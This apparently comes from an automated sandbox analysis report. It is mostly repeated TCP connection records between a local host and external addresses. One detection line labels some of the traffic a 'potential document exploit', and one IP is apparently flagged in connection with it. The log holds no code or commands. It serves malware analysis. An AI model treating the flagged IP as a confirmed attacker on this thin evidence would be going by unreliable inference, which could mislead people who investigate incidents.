Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443

Potential document exploit detected (unknown TCP traffic)

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 216.58.212.174:443 -> 192.168.2.22:49166
